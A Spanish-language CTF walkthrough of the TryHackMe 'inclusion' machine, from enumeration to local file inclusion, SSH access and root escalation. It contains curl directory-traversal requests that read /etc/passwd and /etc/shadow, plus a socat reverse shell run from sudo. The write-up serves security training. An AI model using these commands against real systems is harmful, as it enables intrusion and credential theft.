La maquina «inclusion» de TryHackMe es un reto para poder practicar LFI y en este POST describiremos los pasos que hemos realizado para localizar las dos banderas que nos piden teniendo que realizar una escalada de privilegios.
Lo primero sera suscribirnos a esta habitación y levantar la maquina «inclusion» y nuestra VPN a TryHackMe como ya hemos comentado en la resolución de otros retos como «Basic Pentesting» y con la maquina virtual levantada comenzamos.
Enumeración
Lo primero y ya con la IP asignada de la maquina sera ver los servicios a los que podemos acceder.
nmap -O -sS -Pn -sV <IP asignada de la maquina>
Podemos observar que tenemos dos puertos el 80 y el 22, continuaremos con una enumeración del servicio WEB (ademas como es un reto LFI es por donde realizaremos el ataque aunque viéramos posibilidad por SSH.
Realizamos un análisis con «dirb <IP asignada>» y comprobamos que nos da una URL que da error 500 de servidor «http:// <ip asignada>/article» por lo tanto procedemos a analizar el código de la página principal a ver si se encuentra algo de «/article» y en efecto vemos que le falta el parámetro «name» y que los tres valores que usa son: hacking, lfiattack y rfiattack esto parece un vector de ataque LFI por lo que procedemos a buscar el fichero /etc/passwd ya que es un Linux según vimos con nmap.
Para automatizar un poco esto usaremos nuestra herramienta favorita de FUZZ que en mi caso usare mi navaja suiza de FUZZ (wfuzz) conociendo ya la URL, la variable a sondear lo que usaremos es un Payload de «Directory traversal» para recorrer directorios en busca de fichero que den error 200 (OK)
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/dirTraversal-nix.txt --sc 200 -f LFI_article.txt,raw http://<IP asignada>/article?name=FUZZ
En el fichero «LFI_article.txt» tendremos los resultados y podemos ver «../../../etc/passwd» lo comprobamos con el navegador y vemos que nos da el fichero de usuarios, ya conociendo el path a utilizar nos bajamos a local otros ficheros del directorio «/etc» que nos puede interesar analizar así los podremos ver mejor y aplicar filtros si lo deseamos.
curl -o passwd http://<IP asignada>/article?name=../../../etc/passwd
curl -o group http://<IP asignada>/article?name=../../../etc/group
curl -o shadow http://<IP asignada>/article?name=../../../etc/shadow
Analizándolos vemos varias cosas a tener en cuenta.
passwd
Se ve una linea como un comentario que parece indicar un usuario:password por lo que probamos a conectarnos por ssh ya que esta el servicio levantado (ver más adelante) y exactamente marca usuario y clave.
group
Vemos que el anterior usuario pertenece a varios grupos de interes: adm, sudo, lxd.
shadow
Sorprendente mente se ha leído, lo que implica que se el servidor web esta con un estado alto de privilegios. Al verlo se comprueba que solo dos usuarios tienen clave (root y falconfeast) al tener este fichero podríamos obtener las claves por fuerza bruta, aunque no sera necesario ya que hemos comprobado antes que nos han dado la clave.
Explotación
Ya que disponemos un usuario y una clave, entramos en el sistema mediante ssh ya que tenemos el servicio activado.
ssh falconfeast@<IP asignada>
Una vez estamos en el usuario realizamos un ls y localizamos la primera bandera «user.txt», asi que solo tenemos que realizarle un cat y tendremos la primera bandera.
Escalación de privilegios
Ahora que ya tenemos esta bandera vamos a la por la de root, por lo que primero y sabiendo que este usuario pertenece al grupo sudo, ejecutaremos sudo -l para ver que podemos ejecutar.
Se ve que solo podemos usar /usr/bin/socat, por lo que lanzaremos un shell-reverso con este.
#### Ejecución maquina atacante, y es donde aparecerá el Shell y lo que se hace es ponerlo a la escucha.
export PUERTO=1403
socat file:`tty`,raw,echo=0 tcp-listen:$PUERTO
#### Ejecución en la maquina atacada
export PUERTO=1403
export RHOST=<La IP asignada>
socat tcp-connect:$RHOST:$PUERTO exec:sh,pty,stderr,setsid,sigint,sane
Al entrar si ejecutamos id, veremos que estamos en root por lo que nos iremos a su directorio /root a ver si tenemos algo y vemos al realizar un ls que esta el fichero /root/root.txt (segunda bandera) por lo que solo es necesario realizar un cat al fichero y como estamos en root lo leeremos sin problemas.